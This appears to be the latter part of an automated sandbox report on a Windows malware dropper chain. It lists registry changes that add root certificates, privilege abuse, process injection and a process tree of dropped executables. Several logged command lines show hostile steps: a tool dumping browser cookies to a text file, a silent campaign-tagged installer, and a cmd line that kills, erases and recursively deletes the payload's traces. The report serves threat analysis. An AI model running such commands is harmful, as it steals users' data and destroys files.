04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Pyzhaejoqibu.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Pyzhaejoqibu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe -
Runs ping.exe 1 TTPs 3 IoCs
pid Process 5460 PING.EXE 3916 PING.EXE 2100 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3900 ultramediaburner.tmp 3900 ultramediaburner.tmp 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe 2356 Pyzhaejoqibu.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1392 Process not Found -
Suspicious behavior: MapViewOfSection 56 IoCs
pid Process 4976 toolspab1.exe 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 4420 Fessura.exe.com 5308 Mutato.exe.com 5760 dvujsjv 4856 explorer.exe 4856 explorer.exe 4856 explorer.exe 4856 explorer.exe 4608 explorer.exe 4608 explorer.exe 4608 explorer.exe 4608 explorer.exe 4628 explorer.exe 4628 explorer.exe 4628 explorer.exe 4628 explorer.exe 4208 MicrosoftEdgeCP.exe 4208 MicrosoftEdgeCP.exe 4608 explorer.exe 4608 explorer.exe 4856 explorer.exe 4856 explorer.exe 4628 explorer.exe 4628 explorer.exe 4608 explorer.exe 4608 explorer.exe 4608 explorer.exe 4608 explorer.exe 4856 explorer.exe 4856 explorer.exe 4856 explorer.exe 4856 explorer.exe 4628 explorer.exe 4628 explorer.exe 4628 explorer.exe 4628 explorer.exe 5320 dvujsjv 964 dvujsjv -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2904 Ultra.exe Token: SeDebugPrivilege 2356 Pyzhaejoqibu.exe Token: SeDebugPrivilege 1200 Xybalyryqe.exe Token: SeDebugPrivilege 4452 MicrosoftEdge.exe Token: SeDebugPrivilege 4452 MicrosoftEdge.exe Token: SeDebugPrivilege 4452 MicrosoftEdge.exe Token: SeDebugPrivilege 4452 MicrosoftEdge.exe Token: SeDebugPrivilege 5248 KiffMainE1.exe Token: SeDebugPrivilege 4452 MicrosoftEdge.exe Token: SeDebugPrivilege 5620 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 5620 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 5620 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 5620 MicrosoftEdgeCP.exe Token: SeSecurityPrivilege 6036 msiexec.exe Token: SeCreateTokenPrivilege 5544 powershell.exe Token: SeAssignPrimaryTokenPrivilege 5544 powershell.exe Token: SeLockMemoryPrivilege 5544 powershell.exe Token: SeIncreaseQuotaPrivilege 5544 powershell.exe Token: SeMachineAccountPrivilege 5544 powershell.exe Token: SeTcbPrivilege 5544 powershell.exe Token: SeSecurityPrivilege 5544 powershell.exe Token: SeTakeOwnershipPrivilege 5544 powershell.exe Token: SeLoadDriverPrivilege 5544 powershell.exe Token: SeSystemProfilePrivilege 5544 powershell.exe Token: SeSystemtimePrivilege 5544 powershell.exe Token: SeProfSingleProcessPrivilege 5544 powershell.exe Token: SeIncBasePriorityPrivilege 5544 powershell.exe Token: SeCreatePagefilePrivilege 5544 powershell.exe Token: SeCreatePermanentPrivilege 5544 powershell.exe Token: SeBackupPrivilege 5544 powershell.exe Token: SeRestorePrivilege 5544 powershell.exe Token: SeShutdownPrivilege 5544 powershell.exe Token: SeDebugPrivilege 5544 powershell.exe Token: SeAuditPrivilege 5544 powershell.exe Token: SeSystemEnvironmentPrivilege 5544 powershell.exe Token: SeChangeNotifyPrivilege 5544 powershell.exe Token: SeRemoteShutdownPrivilege 5544 powershell.exe Token: SeUndockPrivilege 5544 powershell.exe Token: SeSyncAgentPrivilege 5544 powershell.exe Token: SeEnableDelegationPrivilege 5544 powershell.exe Token: SeManageVolumePrivilege 5544 powershell.exe Token: SeImpersonatePrivilege 5544 powershell.exe Token: SeCreateGlobalPrivilege 5544 powershell.exe Token: SeCreateTokenPrivilege 5544 powershell.exe Token: SeAssignPrimaryTokenPrivilege 5544 powershell.exe Token: SeLockMemoryPrivilege 5544 powershell.exe Token: SeIncreaseQuotaPrivilege 5544 powershell.exe Token: SeMachineAccountPrivilege 5544 powershell.exe Token: SeTcbPrivilege 5544 powershell.exe Token: SeSecurityPrivilege 5544 powershell.exe Token: SeTakeOwnershipPrivilege 5544 powershell.exe Token: SeLoadDriverPrivilege 5544 powershell.exe Token: SeSystemProfilePrivilege 5544 powershell.exe Token: SeSystemtimePrivilege 5544 powershell.exe Token: SeProfSingleProcessPrivilege 5544 powershell.exe Token: SeIncBasePriorityPrivilege 5544 powershell.exe Token: SeCreatePagefilePrivilege 5544 powershell.exe Token: SeCreatePermanentPrivilege 5544 powershell.exe Token: SeBackupPrivilege 5544 powershell.exe Token: SeRestorePrivilege 5544 powershell.exe Token: SeShutdownPrivilege 5544 powershell.exe Token: SeDebugPrivilege 5544 powershell.exe Token: SeAuditPrivilege 5544 powershell.exe Token: SeSystemEnvironmentPrivilege 5544 powershell.exe -
Suspicious use of FindShellTrayWindow 10 IoCs
pid Process 3900 ultramediaburner.tmp 5544 installer.exe 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found 1392 Process not Found -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 4452 MicrosoftEdge.exe 5352 MicrosoftEdgeCP.exe 5352 MicrosoftEdgeCP.exe 4272 google-game.exe 4272 google-game.exe 1592 MicrosoftEdge.exe 4208 MicrosoftEdgeCP.exe 4208 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 1392 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1824 wrote to memory of 1328 1824 Install.exe 75 PID 1824 wrote to memory of 1328 1824 Install.exe 75 PID 1824 wrote to memory of 1328 1824 Install.exe 75 PID 1328 wrote to memory of 2904 1328 Install.tmp 77 PID 1328 wrote to memory of 2904 1328 Install.tmp 77 PID 2904 wrote to memory of 1280 2904 Ultra.exe 80 PID 2904 wrote to memory of 1280 2904 Ultra.exe 80 PID 2904 wrote to memory of 1280 2904 Ultra.exe 80 PID 1280 wrote to memory of 3900 1280 ultramediaburner.exe 81 PID 1280 wrote to memory of 3900 1280 ultramediaburner.exe 81 PID 1280 wrote to memory of 3900 1280 ultramediaburner.exe 81 PID 2904 wrote to memory of 1200 2904 Ultra.exe 82 PID 2904 wrote to memory of 1200 2904 Ultra.exe 82 PID 3900 wrote to memory of 3860 3900 ultramediaburner.tmp 84 PID 3900 wrote to memory of 3860 3900 ultramediaburner.tmp 84 PID 2904 wrote to memory of 2356 2904 Ultra.exe 85 PID 2904 wrote to memory of 2356 2904 Ultra.exe 85 PID 2356 wrote to memory of 696 2356 Pyzhaejoqibu.exe 90 PID 2356 wrote to memory of 696 2356 Pyzhaejoqibu.exe 90 PID 2356 wrote to memory of 5216 2356 Pyzhaejoqibu.exe 92 PID 2356 wrote to memory of 5216 2356 Pyzhaejoqibu.exe 92 PID 696 wrote to memory of 5248 696 Fessura.exe.com 94 PID 696 wrote to memory of 5248 696 Fessura.exe.com 94 PID 5216 wrote to memory of 5320 5216 cmd.exe 147 PID 5216 wrote to memory of 5320 5216 cmd.exe 147 PID 5216 wrote to memory of 5320 5216 cmd.exe 147 PID 2356 wrote to memory of 5368 2356 Pyzhaejoqibu.exe 97 PID 2356 wrote to memory of 5368 2356 Pyzhaejoqibu.exe 97 PID 2356 wrote to memory of 5388 2356 Pyzhaejoqibu.exe 99 PID 2356 wrote to memory of 5388 2356 Pyzhaejoqibu.exe 99 PID 5388 wrote to memory of 5544 5388 cmd.exe 101 PID 5388 wrote to memory of 5544 5388 cmd.exe 101 PID 5388 wrote to memory of 5544 5388 cmd.exe 101 PID 5368 wrote to memory of 5608 5368 cmd.exe 150 PID 5368 wrote to memory of 5608 5368 cmd.exe 150 PID 5368 wrote to memory of 5608 5368 cmd.exe 150 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 5608 wrote to memory of 5804 5608 cmd.exe 104 PID 2356 wrote to memory of 5848 2356 Pyzhaejoqibu.exe 105 PID 2356 wrote to memory of 5848 2356 Pyzhaejoqibu.exe 105 PID 5848 wrote to memory of 5956 5848 cmd.exe 107 PID 5848 wrote to memory of 5956 5848 cmd.exe 107 PID 5848 wrote to memory of 5956 5848 cmd.exe 107 PID 5956 wrote to memory of 6092 5956 gpooe.exe 109 PID 5956 wrote to memory of 6092 5956 gpooe.exe 109 PID 5956 wrote to memory of 6092 5956 gpooe.exe 109 PID 6036 wrote to memory of 4552 6036 msiexec.exe 111 PID 6036 wrote to memory of 4552 6036 msiexec.exe 111 PID 6036 wrote to memory of 4552 6036 msiexec.exe 111 PID 5804 wrote to memory of 4684 5804 svchost.exe 112 PID 5804 wrote to memory of 4684 5804 svchost.exe 112 PID 5804 wrote to memory of 4684 5804 svchost.exe 112 PID 4684 wrote to memory of 4728 4684 cmd.exe 162 PID 4684 wrote to memory of 4728 4684 cmd.exe 162 PID 4684 wrote to memory of 4728 4684 cmd.exe 162 PID 5544 wrote to memory of 4776 5544 powershell.exe 116 PID 5544 wrote to memory of 4776 5544 powershell.exe 116
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2592
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
- Modifies registry class
PID:2568
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Users\Admin\AppData\Local\Temp\is-TJJ4V.tmp\Install.tmp"C:\Users\Admin\AppData\Local\Temp\is-TJJ4V.tmp\Install.tmp" /SL5="$A0064,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1328 -
C:\Users\Admin\AppData\Local\Temp\is-8QR7T.tmp\Ultra.exe"C:\Users\Admin\AppData\Local\Temp\is-8QR7T.tmp\Ultra.exe" /S /UID=burnerch13⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Program Files\Google\RDHQMXEXAV\ultramediaburner.exe"C:\Program Files\Google\RDHQMXEXAV\ultramediaburner.exe" /VERYSILENT4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Users\Admin\AppData\Local\Temp\is-0LCUQ.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-0LCUQ.tmp\ultramediaburner.tmp" /SL5="$70058,281924,62464,C:\Program Files\Google\RDHQMXEXAV\ultramediaburner.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu6⤵
- Executes dropped EXE
PID:3860
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\74-813a0-b4d-38e9f-18e85bcd5a44d\Xybalyryqe.exe"C:\Users\Admin\AppData\Local\Temp\74-813a0-b4d-38e9f-18e85bcd5a44d\Xybalyryqe.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:1200
-
-
C:\Users\Admin\AppData\Local\Temp\18-34894-ec3-465b7-633ec717fd0a7\Pyzhaejoqibu.exe"C:\Users\Admin\AppData\Local\Temp\18-34894-ec3-465b7-633ec717fd0a7\Pyzhaejoqibu.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2dl5nx3a.0zn\KiffMainE1.exe & exit5⤵PID:696
-
C:\Users\Admin\AppData\Local\Temp\2dl5nx3a.0zn\KiffMainE1.exeC:\Users\Admin\AppData\Local\Temp\2dl5nx3a.0zn\KiffMainE1.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5248
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\strwgnus.044\001.exe & exit5⤵
- Suspicious use of WriteProcessMemory
PID:5216 -
C:\Users\Admin\AppData\Local\Temp\strwgnus.044\001.exeC:\Users\Admin\AppData\Local\Temp\strwgnus.044\001.exe6⤵PID:5320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yrl3fxmc.wrw\download.exe & exit5⤵
- Suspicious use of WriteProcessMemory
PID:5368 -
C:\Users\Admin\AppData\Local\Temp\yrl3fxmc.wrw\download.exeC:\Users\Admin\AppData\Local\Temp\yrl3fxmc.wrw\download.exe6⤵PID:5608
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:5804 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 5804 & erase C:\Users\Admin\AppData\Local\Temp\svchost.exe & RD /S /Q C:\\ProgramData\\539184175795266\\* & exit8⤵
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 58049⤵
- Kills process with taskkill
PID:4728
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fglphcra.ofj\installer.exe /qn CAMPAIGN="654" & exit5⤵
- Suspicious use of WriteProcessMemory
PID:5388 -
C:\Users\Admin\AppData\Local\Temp\fglphcra.ofj\installer.exeC:\Users\Admin\AppData\Local\Temp\fglphcra.ofj\installer.exe /qn CAMPAIGN="654"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:5544 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Yonatan.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\fglphcra.ofj\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\fglphcra.ofj\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1619976616 /qn CAMPAIGN=""654"" " CAMPAIGN="654"7⤵PID:4776
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ihw1qas5.unr\gpooe.exe & exit5⤵
- Suspicious use of WriteProcessMemory
PID:5848 -
C:\Users\Admin\AppData\Local\Temp\ihw1qas5.unr\gpooe.exeC:\Users\Admin\AppData\Local\Temp\ihw1qas5.unr\gpooe.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5956 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:6092
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:3936
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:5368
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:1056
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n5kkwf5a.d41\google-game.exe & exit5⤵PID:1328
-
C:\Users\Admin\AppData\Local\Temp\n5kkwf5a.d41\google-game.exeC:\Users\Admin\AppData\Local\Temp\n5kkwf5a.d41\google-game.exe6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4272 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install7⤵
- Loads dropped DLL
PID:5344
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ahu4rvdo.5w3\huesaa.exe & exit5⤵PID:5504
-
